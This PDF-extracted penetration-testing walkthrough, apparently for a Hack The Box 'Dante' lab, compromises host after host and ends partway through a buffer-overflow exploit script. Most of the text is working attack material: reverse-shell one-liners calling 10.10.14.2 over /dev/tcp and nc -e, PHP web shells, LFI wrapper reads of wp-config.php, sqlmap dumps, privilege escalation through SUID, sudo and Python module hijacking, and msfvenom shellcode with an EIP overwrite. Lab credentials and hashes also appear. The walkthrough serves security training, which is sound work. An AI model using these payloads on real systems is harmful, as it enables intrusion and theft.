Download as pdf or txt
Download as pdf or txt
You are on page 1of 131

LetÕs scan the 10.10.110.0/24 subnet.

We can initiate a ping sweep to identify active hosts


before scanning them.

nmap -sn -T4 10.10.110.0/24 -oN active-hosts

The Nmap -sn flag disables port scanning and discovers hosts based on ICMP requests. It found
two active hosts, of which 10.10.110.2 can be ignored as it's the lab controller.

I'm nuts and bolts about you


LetÕs do a full port SYN scan, with service and version enumeration to discover the ports open on
these hosts.

nmap -T4 -sC -sV -p- --min-rate=1000 10.10.110.100


Nmap output reveals that the host 10.10.110.100 has ports 21 (FTP), 22 (SSH) and 65000 (HTTP)
open. Anonymous FTP login is enabled. Let's login to the FTP service with the credentials
anonymous / anonymous .
There's a todo.txt in the Transfer/Incoming folder. Let's download the file using the get
command.

The contents of the file:

The file mentions an LFI vulnerability in a site and discloses that the user James has weak
password.

Nmap output also shows that there is a robots.txt file present on the Apache server. This file is
used to tell web crawlers (search engines) to not to scan specified server paths and files. The first
flag can be found in the robots.txt .
It's easier this way
The entry in the robots.txt shows that the server has the WordPress CMS installed. Browsing to
the /wordpress folder confirms this.

We can assess WordPress security in a more automated way using wpscan.

wpscan --url http://10.10.110.100:65000/wordpress --enumerate vp

The vp flag scans for vulnerable plugins. wpscan identified that the server has directory listing
enabled and the WordPress version is 5.4.1 , which is not the latest version. Checking for known
vulnerabilities on wpvulndb shows the results below.
However, none of these allow us to access the server directly. Let's enumerate users with wpscan.

wpscan --url http://10.10.110.100:65000/wordpress --enumerate u

This identified the users admin and james . Let's also browse to Meet The Team page.
Save the employee names to names.txt .

james
kevin
kalthazar
aj
nathan

The page Languages and Frameworks contains some details about the programming languages
that the team uses. Let's create a wordlist from this page using CeWL.

cewl http://10.10.110.100:65000/wordpress/index.php/languages-and-frameworks >


words.txt

Next, we can attempt to bruteforce the WordPress login with wpscan, with the generated
username and password lists.

wpscan --url http://10.10.110.100:65000/wordpress --usernames names.txt --


passwords words.txt
This revealed that the WordPress credentials james / Toyota are valid. It's also worth checking if
the gained credentials can be used to log into other services, such as SSH. However, this isn't
successful.

Navigate to /wordpress/wp-admin/ and login with the credentials.

Inspection of the Users page shows that james user is a member of the Administrator role. In
order to customize themes, WordPress allows members of the Administrator role to edit files
using its built-in editor. This can be leveraged execute commands on the server by inserting php
code in one of the files. Navigate to "Appearance" > "Theme Editor" and select the Twenty
Nineteen theme.
Update the 404.php page contents with the following:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/1234 0>&1'"); ?>

Next, stand up a listener on port 1234 and access the page /wordpress/wp-
content/themes/twentynineteen/404.php in order to trigger the reverse shell.
A shell on DANTE-WEB-NIX01 is received as www-data . Let's check the /home folder.

There are two users present on the server. We can try switching to james using the WordPress
password, in case they have reused it with their system account.

This is successful. Let's upgrade to a PTY shell using Python3.

python3 -c 'import pty;pty.spawn("/bin/bash")'

The flag can be found in the user's home folder.


Show me the way
Checking the contents of the file .bash_history reveals MySQL credentials for the user
balthazar .

Let's make a note of the credentials. Enumeration of files having the SUID bit set returns the find
binary, which is owned by root.

find / -perm -4000 2>/dev/null

As per the gtfobins reference, this can be exploited to gain root access on the server using the
command:

find . -exec /bin/bash -p \; -quit


The flag can be found in the root folder.
Seclusion is an illusion
Running ifconfig shows that we are on the 172.16.1.0/24 subnet. Let's identify the live hosts
on the subnet using a ping sweep.

for i in {1..255} ;do (ping -c 1 172.16.1.$i | grep "bytes from"|cut -d ' ' -
f4|tr -d ':' &);done

This reveals a total of eleven hosts excluding our current host NIX01 , which has an internal IP
address of 172.16.1.100 . Let's add our public key to /root/.ssh/authorized_keys , and
upgrade to an SSH shell.

In order to further enumerate hosts on the 172.16.1.0/24 network from our machine, we can
set up a local SOCKS proxy.

ssh -i id_rsa -D 1080 root@10.10.110.100

Edit /etc/proxychains.conf file to proxy requests through SOCKS port 1080.

socks5 127.0.0.1 1080

ProxyChains is a tool that is capable of redirecting TCP connections through TOR, SOCKS and
HTTP/HTTPS proxy servers, and also allows us to chain multiple proxy servers together. Let's begin
by scanning the host 172.16.1.10 . The Nmap SYN scan is not proxy aware and there is limited
support for the Nmap --proxies option. Instead, we can use a TCP Connect Scan ( -sT ), which
uses the OS to issue a higher-level connect system call that routes the traffic through the proxy.

proxychains nmap 172.16.1.10 -sT -sV -Pn -T5


This reveals that the host has ports 22 (SSH), 80 (HTTP), and 139/445 (Samba) open. Opening a
browser using proxychains and browsing to port 80 reveals a site for the Dante Hosting
company.

proxychains firefox

Let's a take a look at the available pages.


Looking at the URL, we can see that the application includes different pages using a page
parameter. This is a good sign for a potential local file inclusion (LFI) vulnerability. Let's test this by
attempting to access /etc/passwd .

http://172.16.1.10/nav.php?page=../../../../../../etc/passwd

This is successful, and we see the users frank and margaret . Let's connect to Samba service
using the smbclient tool.

proxychains smbclient -L \\172.16.1.10


The login with root username and empty password is successful, which means that SMB NULL
sessions are permitted. There's a SlackMigration share. Let's connect to it using smbclient.

proxychains smbclient \\\\172.16.1.10\\SlackMigration

The file admintasks.txt is present on the share, which we download to view its contents.

get admintasks.txt

This states that the WordPress CMS is installed on the web root. Let's try to access it.
It seems that the WordPress CMS is not directly accessible. It could be case that the WordPress
CMS is installed to the web root directory /var/www/html/ , with the Dante hosting application
being served from a subdirectory. Let's confirm that by accessing the file
/var/www/html/index.html using the LFI vulnerability.

We can see that the default apache page present on web root. Let's attempt to load the
WordPress page index.php .

http://172.16.1.10/nav.php?page=/var/www/html/wordpress/index.php

The error message confirms that the WordPress is installed in the web root. In general, WordPress
stores the database configuration in the file wp-config.php .

PHP provides various wrappers, which can be used for easier access of files, protocols or streams.
A complete list of wrappers can be found here. The php:// wrapper is enabled by default and is
used to interact with IO streams. For example: php://stdin and php://stdout can be used to
access input and output streams for the process, while php://input and php://output are
used to access request data. A useful wrapper is php://filter , which can be chained with
multiple filters to achieve the desired output.

For example, the filter php://filter/read=/resource=/etc/passwd reads the resource


/etc/passwd and outputs the contents. The read filter can be used to process the input with
various string operations, such as base64 encoding, ROT13 encoding etc.

The following filters will convert the contents of /etc/passwd to base64 and ROT13 respectively.
php://filter/read=convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd

Let's try base64 encoding and including wp-config.php using the filter.

172.16.1.10/nav.php?page=php://filter/convert.base64-
encode/resource=/var/www/html/wordpress/wp-config.php

The wrapper encodes the given resource to base64 format. Let's decode the content and save it to
a file.

curl "172.16.1.10/nav.php?page=php://filter/convert.base64-
encode/resource=/var/www/html/wordpress/wp-config.php" | base64 -d > wp-
config.php

Inspection of the file reveals database credentials, as expected.

<?php
<SNIP>
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** MySQL database username */


define( 'DB_USER', 'margaret' );

/** MySQL database password */


define( 'DB_PASSWORD', 'STARS5678FORTUNE401' );
<SNIP>
?>

Let's try these credentials on the SSH service.

proxychains ssh margaret@172.16.1.10


We've successfully logged in as the user margaret, but have restricted shell access. vim is present
in the allowed commands. gtfobins reveals that we can use this to escape the restricted shell and
obtain full shell access. Run the command vim and execute the commands below.

:set shell=/bin/bash
:shell

A full shell is obtained on DANTE-NIX02 as margaret . The flag can be found in the home
directory.
Snake it 'til you make it
Enumeration of the user's home folder reveals a Slack subdirectory inside .config .

Previous enumeration mentioned that the Slack integration task was pending. In general, Slack
stores files for each user in the hidden /home/<user>/.config/Slack directory. When a Slack
admin exports their workspace data, it stores most of this in JSON format. After enumerating this
directory, we find some exported data, including chat logs, channel and workspace data.

Enumeration of the secure channel chat logs reveals a conversation between Margaret and
Frank, which contains potential credentials for the user frank .
Let's switch to frank using the obtained password.

There's an apache_restart.py script present in the home folder.

Let's check its contents.


import call
import urllib
url = urllib.urlopen(localhost)
page= url.getcode()
if page ==200:
print ("We're all good!")
else:
print("We're failing!")
call(["systemctl start apache2"], shell=True)

The script checks the apache2 server service status by sending a GET request to localhost . If
the response code is not equal to 200 then it restarts the service. It's worth noting that there is
no while loop in the script to repeat the check at regular intervals, which hints that a cronjob
may have been configured. We can confirm this by downloading and running pspy.

pspy output reveals that root is running the script every minute. The script is not writable by
frank , although it imports the call and urllib modules. Python has a list of search paths for
its libraries. This can be viewed by running the following commands.

>>> import sys


>>> sys.path
['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu',
'/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old',
'/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages']

Python first checks for modules in the current working directory, before looking in the other
paths. We can attempt to hijack loading of the legitimate call or urllib modules, so that our
malicious module is loaded instead. Let's create a urllib.py file in the /home/frank folder with
the contents below.

import os
os.system("cp /bin/sh /tmp/sh;chmod u+s /tmp/sh")

After a minute, we can see that the file /tmp/sh is created.


A root shell can be obtained by running the below command.

/tmp/sh -p

Bash preserves the effective user id (i.e. root) when -p option is supplied at invocation, which
gives us root access. The flag can be found in the /root folder. Let's then add our SSH public key
to authorized_keys and delete the suid binary.
Feeling fintastic
Let's scan the host 172.16.1.17 next.

proxychains nmap 172.16.1.17 -sT -sV -Pn -T5

Nmap reveals that the host has ports 80 (HTTP,) 139,445 (Samba) and 10000 (HTTP) open. Let's
browse to port 10000 .

The Webmin application is running on port 10000. Attempting to login using default credentials
isn't successful. Let's connect to the Samba service using smbclient.

proxychains smbclient -L \\172.16.1.17


There we see the not-default forensics share.

proxychains smbclient \\\\172.16.1.17\\forensics

The share contains a file called monitor . Let's download it.

The file command reveals that this is a pcap , which is a packet capture probably taken with
tcpdump or Wireshark . Let's analyze the file in Wireshark.

wireshark monitor
The protocol statistics can be viewed by clicking on "Statistics" > "Protocol Hierarchy".

There is UDP as well as TCP traffic present. Under TCP, we can see that HTML Form URL Encoded
packets are present. These packets are transmitted using HTTP protocol. Let's filter for HTTP
packets.

Right-click on the HTTP POST request packet and click "Follow" > "HTTP Stream".

The packet reveals a POST request made to login to the Webmin application. Let's login to
Webmin application using the admin / password6543 credentials.
This was unsuccessful. Further inspection of the capture file reveals another POST request that
contains the password Password6543 .

Using this password we gain access to the application.

The dashboard shows that the version of Webmin is 1.900 . It also reports that versions below
1.930 are vulnerable to a remote exploit.
Searching for the known exploits for this version yields the below results.

Download the exploit from the roughiz repo, and then issue the following commands to obtain a
reverse shell.

nc -lvnp 1234
proxychains python webmin_exploit.py --rhost 172.16.1.17 --lhost 10.10.14.2 --
lport 1234 -u admin -p Password6543
A shell on DANTE-NIX03 is received. Let's upgrade the shell to a PTY using Python.

python -c 'import pty;pty.spawn("/bin/bash")'

The flag can be found in the root directory.


Let's take this discussion elsewhere
Next up, let's scan 172.16.1.13 .

proxychains nmap 172.16.1.13 -sT -sV -Pn -T5

Nmap identified that the host has ports 80 (HTTP) and 443 (HTTPS) open. Browsing to port 80
reveals a XAMPP dashboard.

The phpmyadmin page is not remotely accessible.

Let's enumerate other files and folders hosted on port 80 using Gobuster.
gobuster dir -p socks5://127.0.0.1:1080 --url http://172.16.1.13/ -w common.txt

This identified a /discuss directory. Let's browse to this.


The blog heading says it is a Technical Discussion Forum , and searching for known exploits on
this term leads us to a potential exploit.

# Exploit Title: Online Discussion Forum Site 1.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-24
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://www.sourcecodester.com/php/14233/online-discussion-
forum-site.html
# Software Link: https://www.sourcecodester.com/download-code?
nid=14233&title=Online+Discussion+Forum+Site
# Version: 1.0 (REQUIRED)
# Tested on: Windows 10 / Wamp Server
# CVE : N/A
Go to http://localhost/Online%20Discussion%20Forum%20Site/register.php register
page to sign up
Then fill other fields and upload the shell.php with following PHP-shell-code

<?php
$command = shell_exec($_REQUEST['cmd']);
echo $command;
?>

After the registration process is completed go to the following page and


execute the os command via uploaded shell
http://localhost/Online%20Discussion%20Forum%20Site/ups/shell.php?cmd=$THECODE-
YOU-WANT-TO-EXECUTE

Any unauthenticated attacker is able to execute arbitrary os command

Let's register a new user as described in the exploit by clicking on Sign Up button.
The registration form has the option to upload an image. Save the below code to shell.php and
upload it using the form.

<?php echo exec($_GET["cmd"]);?>

Click on Submit to complete registration and upload the webshell.

The web shell can be accessed at /discussion/ups/shell.php .

Let's upgrade to a proper shell. First, stand up a local web server hosting nc.exe .

python3 -m http.server 80
Download it to the host by issuing the following command in the browser.

http://172.16.1.13/discuss/ups/shell.php?cmd=powershell wget
http://10.10.14.2/nc.exe -o nc.exe

Next, stand up a Netcat listener on port 1234 ( nc -lvnp 1234 ) and issue the below command in
the browser to send a reverse shell.

http://172.16.1.13/discuss/ups/shell.php?cmd=nc.exe -e cmd.exe 10.10.14.2 1234

A shell on DANTE-WS01 is received as gerald . The flag can be found in the desktop.
Compare my numbers
Checking the installed software on the host shows the non-default program Druva inSync is
installed.

The licence.txt reveals that the version of the software is 6.6.3.

Researching this online reveals that the disclosed version is vulnerable to a local privilege
escalation vulnerability. Let's download the exploit to the host.

powershell wget 10.10.14.2/druva.py -o druva.py

As shown in the exploit usage instructions, we'll add gerald user to administrators group.
This is successful and we can see that the user gerald is now part of administrators group.

However, due to UAC (User Account Control) we are unable to read the flag on the Administrator
desktop. Let's download nc.exe and then run the exploit to send us a reverse shell.

powershell wget 10.10.14.2/nc.exe -o C:\xampp\htdocs\discuss\ups\nc.exe


c:\python27\python.exe druva.py "windows\system32\cmd.exe /C
C:\xampp\htdocs\discuss\ups\nc.exe 10.10.14.2 4444 -e cmd.exe"

This is successful, and a shell as nt authority\system is received on DANTE-WS01 .


We are now able to read the flag.
Again and again
Let's now scan the host 172.16.1.12 .

proxychains nmap 172.16.1.12 -sT -sV -Pn -T5

Nmap has identified that ports 21 (FTP), 80 (HTTP), 443 (HTTPS) and 3306 (MySQL) are open.
Browsing to port 80 reveals a XAMPP dashboard.

This doesn't seem interesting. Let's use Gobuster to find files and folders on the server.

gobuster dir -p socks5://127.0.0.1:1080 --url http://172.16.1.12 -w common.txt


This identified the directory /blog . Let's browse to it.

The title of the blog says Responsive Blog , which after searching online we find is prone to a
SQL injection vulnerability. PoC code that exploits this vulnerability has been publicly released.
Let's attempt to validate the vulnerability by visiting the following URL.

http://172.16.1.12/blog/category.php?id=2%27
This results in a SQL error, confirming that the application is vulnerable to SQL injection. sqlmap
tool can be used to automate the process of exploiting SQL injections. Let's use it to enumerate
the available databases.

proxychains sqlmap -u http://172.16.1.12/blog/category.php?id=2 --dbs --batch

The --dbs option will enumerate the databases, while the --batch switch will use the default
options, without prompting us for further input.

A number of databases are identified. Let's dump the data from the flag database.

proxychains sqlmap -u http://172.16.1.12/blog/category.php?id=2 -D flag --dump

The -D option is used to specify the database, while --dump retrieves information from all tables.
The flag can be seen in the flag table.
Five doctors
Let's enumerate the tables inside the blog_admin_db database using --table sqlmap option.

proxychains sqlmap -u http://172.16.1.12/blog/category.php?id=2 -D


blog_admin_db --table

The table membership_users contains information about the blog user. Let's dump the table
data.

proxychains sqlmap -u http://172.16.1.12/blog/category.php?id=2 -D


blog_admin_db -T membership_users --dump
The table contains MD5 password hashes. Save them to hashes.txt .

21232f297a57a5a743894a0e4a801fc3
442179ad1de9c25593cabf625c0badb7
d6501933a2e0ea1f497b87473051417f

The hashes can be cracked using John The Ripper.

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

The tool has cracked two of the hashes, and the admin password is found to be admin . Let's login
to the blog as the admin.
From the admin panel it is possible to create blogs. The blog creation feature allows for image
upload. It is worth checking if it will allow us to upload a PHP web shell.

The Responsive blog doesn't allow uploading of PHP files.

Attempting to upload a valid image also doesn't work due to the strict file system permissions.
Let's move on to the other password cracked by John The Ripper. The credentials ben /
Welcometomyblog are found to work for SSH.

A shell on DANTE-NIX04 is obtained as ben . The flag can be found in the home folder.
Minus + minus = plus?
Checking the sudo entries for the user reveals that they can execute /bin/bash as any other user
apart from root .

Examination of /home and /etc/passwd reveals that julian is a system user. Let's switch to
that account by issuing the below command.

sudo -u julian /bin/bash

There doesn't seem to be anything useful in Julian's home folder. We can enumerate the server
with common privilege escalation scripts such as LinEnum or LinPEAS.

LinPEAS highlighted that the sudo version is 1.8.27 , which is known to be vulnerable to a
security bypass. The following command can be executed to obtain a root shell.

sudo -u#-1 /bin/bash

This is successful, and the flag can be found in the root directory.
As root, it is now possible to view /etc/shadow , which contains the password hashes for all the
users. Let's save the password hash for julian to a file.

julian:$6$JuLl03Pm$CtdAUUPYSsYPz60TyYKhnoS/ycE5CS0x8h5PSzpwLsHNjAGA2A1oCMYh1Z9C
qi.Pt.pwzDKy0GygjD/b31GSB.:18439:0:99999:7:::
sshd:*:18471:0:99999:7:::

Using John The Ripper this can be cracked.

john hash --wordlist=rockyou.txt

The password is cracked successfully. Let's make a note of it and move on.
Congratulations to a perfect pear
Next, let's scan the 172.16.1.102 host.

proxychains nmap 172.16.1.102 -sT -Pn -T5

Nmap output reveals that ports 80 (HTTP), 135 (msrpc), 139 (NetBIOS), 443 (HTTPS), 445 (SMB),
3389 (RDP), and 5357 (wsdapi) are open. Let's browse to port 80.

The footer of the web page shows Online Marriage Registration System , which has a known
RCE vulnerability, for which an exploit has been published. The exploit requires valid user
credentials. Let's register a new user.
Run the exploit by issuing the following command.

chmod +x exploit.sh
proxychains ./exploit.sh -u http://172.16.1.102/ -m 1231231231 -p test -c
"whoami"

This is successful. Stand up a web server on port 80 and download the Windows Netcat binary to
the host by issuing the commands below.

python3 -m http.server 80
proxychains ./exploit.sh -u http://172.16.1.102/ -m 1231231231 -p test -c
"powershell wget 10.10.14.2/nc.exe -o nc.exe"

Next, start a local Netcat listener on port 4444, and run the exploit again with the following
payload.
nc -lvnp 1234
proxychains ./exploit.sh -u http://172.16.1.102/ -m 1231231231 -p test -c
"nc.exe -e cmd.exe 10.10.14.2 1234"

A shell on DANTE-WS03 is received as blake . The flag can be found on the desktop.
MinatoTW strikes again
Enumerating the host, we see that there's a non standard folder C:\Apps containing the file
SERVER.EXE .

Checking for locally running services shows that there is a service running on port 4444.

Let's forward this port to our local machine using plink.

plink.exe -R 4444:127.0.0.1:4444 -l root -P 22 -pw toor 10.10.14.2

Now we can access the service.


Let's check the active connections using below command.

netstat -o

We can now compare the process id with running services.

tasklist|findstr 22304

From the result it is clear that the SERVER.EXE is running on port 4444 and it requires a valid
username. Let's stand up a listener on port 3333.

nc -lvnp 3333 > server.exe

Run the below command on the host to download SERVER.EXE to our local machine.
nc.exe 10.10.14.2 3333 < c:\Apps\SERVER.EXE

Running the strings command on SERVER.EXE shows hardcoded credentials.

The service reports that the credentials are valid and quits.

We can use Ghidra to reverse the binary. Ghidra is an open source tool developed by NSA that
helps in disassembling binaries built for different operating systems. A major advantage of Ghidra
is that it will decompile the object code back to source code which helps us greatly in
understanding the flow of the binary. Let's open the binary in Ghidra and analyze the behaviour.

We can search for strings like Password to find the respective function. Let's navigate to Window
> Defined Strings and filter by putting the string Password in it.
Clicking on the string shows its corresponding function name in the Listing window. We can see
that the function FUN_10476cb0 contains these strings. Let's browse to this function from Symbol
Tree window.

We confirm that the function FUN_10476cb0 contains the password validation logic.
thunk_FUN_10484890 looks like a strcpy_s call, where it is copying the user input 2048 (0x800)
bytes in size to a destination buffer of only 1024 bytes in size.

thunk_FUN_10484890(local_404,0x801,param_1,0x800);

This is a clear buffer overflow. Let's run the binary on our machine and add a rule to forward the
port.

Note: The target system (as of the time of writing) is Windows 10 Pro 64-bit (10.0.18363, Build
18363). Windows evaluation VMs can be downloaded from the Microsoft Developer site here.

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=3333


connectaddress=127.0.0.1 connectport=4444 protocol=tcp

The command forwards the connection from port 3333 on 0.0.0.0 to port 4444 on localhost,
allowing us to access the service. Let's validate the vulnerability by sending more than 1024 bytes
of data in the password field.
python -c 'print "A"*2000'

The binary crashes upon sending 2000 A's.

Let's open the binary in Immunity Debugger and click Debug > Run . We can use the mona plugin
to generate a cyclic pattern, which will help to identify the 4 unique bytes that overwrite EIP. Let's
download the script and copy mona.py to the folder C:\Program Files (x86)\Immunity
Inc\Immunity Debugger\PyCommands . We can now use the pattern_create command to create
the pattern.

!mona pattern_create 1500

Paste the generated pattern in the password field and hit return.

Returning to Immunity, we see that EIP was overwritten by 33694232 in hex, which is 3iB2 in
ASCII.
This can be found on the stack as 2Bi3 because x86 architecture follows little-endian notation.

Let's now find the offset at which EIP is overwritten. The pattern_offset command in mona can
be used to calculate this.

!mona pattern_offset 33694232

We see that the offset was found at position 1028 of the input pattern. This means that the EIP
gets overwritten after 1028 bytes of data. LetÕs verify this by trying to overwrite it with our desired
characters. We can use pwntools to script the connection and the sending / receiving of data.
Pwntools is designed to make exploit writing as simple as possible and allows for rapid
prototyping. It can be installed using pip.

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev
build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

The script accepts the IP address and port of the server as command line arguments.

from pwn import *


import sys

if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()

ip = sys.argv[1]
port = sys.argv[2]

payload = "A" * 1028 + "B" * 4 + "C" * 500

r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)

Let's create a payload of 1028 As followed by 4 Bs. If our calculation is correct, EIP should be
overwritten with the 4 Bs. Restart the server and execute the script.

Looking at the Registers section in Immunity, we see that EIP was overwritten by Bs, which verifies
our offset calculation.

Now that we have an EIP overwrite, we can use it to jump to an area that we control. Looking at
the stack on the bottom-right window, we see the start of our As as we scroll up.
We can jump to the top of the stack, which is pointed to by ESP. This can be achieved by using a
JMP ESP instruction, which jumps to the address pointed to by ESP. JMP ESP instructions can be
found using mona.

!mona jmp -r esp

The -r flag specifies the register to jump to. Looking at the Log window we see that mona found
three JMP ESP instructions.

LetÕs make EIP point to the first instruction and take control of program execution. Edit the script
and add the address of the JMP ESP instruction.

# 0x10476d73 : jmp esp | ascii {PAGE_EXECUTE_READ} [server.exe] ASLR: False,


Rebase: False, SafeSEH: True, OS: False, v-1.0- (E:\HackTheBox\bof\server.exe)
payload = "A" * 1028 + "\x73\x6d\x47\x10" + "C" * 500

Due to little-endian notation, 0x10476d73 is represented as 0x73, 0x6d, 0x47, 0x10. Double-click
on this address in the Log window, right-click > Breakpoint > Toggle, or just hit F2 to set a
breakpoint.

Restart the server and run the script again. Once the breakpoint is hit, we see that EIP is
populated with the address of the JMP ESP instruction.

Hit F7 to single-step through the code. We can see that ESP is pointing to start of the Cs.
This is where weÕll place our shellcode to be executed by the program. The tool msfvenom is
useful for generating payloads in various formats. We can use it to generate 32-bit reverse shell
shellcode.

msfvenom -p windows/shell_reverse_tcp LHOST=<your_local_ip> LPORT=9999 -f


python

After generation, paste the shellcode into the script and edit it as follows:

from pwn import *


import sys

if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()

ip = sys.argv[1]
port = sys.argv[2]

buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\xe1\x38\x68"
buf += b"\x02\x00\x27\x0f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

payload = "A" * 1028 + "\x73\x6d\x47\x10" + "\x90" * 20 + buf + "C" * (500 -


len(buf))

r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)
print r.recv(1024)

Let's stand up a listener on port 9999 and run the script.

This failed and Immunity Debugger shows an exception. This is due to presence of bad characters
in the shellcode. A bad character is simply a list of unwanted characters that can interrupt
shellcode execution.

There is no universal set of bad characters. Depending on the application and the developer logic,
there are different sets of bad characters for every program that we could encounter. Therefore,
we have to identify the bad characters in an application before writing the shell code. We can use
mona to create byte array that is used for the comparison. The byte array contains bytes ranging
from 00 to FF. This sequence helps us in identifying the bad characters.
mona stores the bytearray in bytearray.txt . Edit the script as follows.

from pwn import *


import sys

if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()

ip = sys.argv[1]
port = sys.argv[2]

badchars=
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\
x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x
33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x
53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x
73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x
93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\x
b3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\x
d3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\x
f3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

payload = "A" * 1028 + "\x73\x6d\x47\x10" + "\x90"*10 + badchars

r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)
print r.recv(1024)

We've added a few bytes of 0x90 (NOPs) before the shellcode. NOPs are instructions that perform
no operation. This technique is known as a NOP sled and does nothing but pass execution to the
next instruction. This will help to stabilize our exploit in case the stack changes. Let's run the
updated exploit.

Immunity shows an exception. Let's view the stack by right clicking "ESP address" > "Follow in
Dump".
It can be seen that after 00 the stack is corrupted. We can also use mona to identify the bad
characters.

!mona compare -f <path to bytearray.txt> -a <start address of bad characters>

The command requires the starting address of the bytearray on the stack. Let's place breakpoint
on the JMP ESP instruction and run the script.

Once the breakpoint hit, we see that the stack is pointing to the start of the bytearray, at the
address 0019FD54 .

We can now use mona to identify bad characters.


!mona compare -f <path to bytearray.txt> -a 0019FD54

Run the exploit again after removing \x00 from the bytearray.

The stack looks fine now but we still fail to get a reverse shell. Let's add the carriage return \x0d
and line feed \x0a to the bad characters list and regenerate the shellcode. These are the
common control characters that interrupt execution.

msfvenom -p windows/shell_reverse_tcp LHOST=<your_local_ip> LPORT=9999 -b


"\x00\x0a\x0d" -f python
The -b flag is used to specify bad characters. Paste the new shellcode into the script and edit it as
follows:

from pwn import *


import sys

if len(sys.argv) < 3:
print "Usage: {} ip port".format(sys.argv[0])
sys.exit()

ip = sys.argv[1]
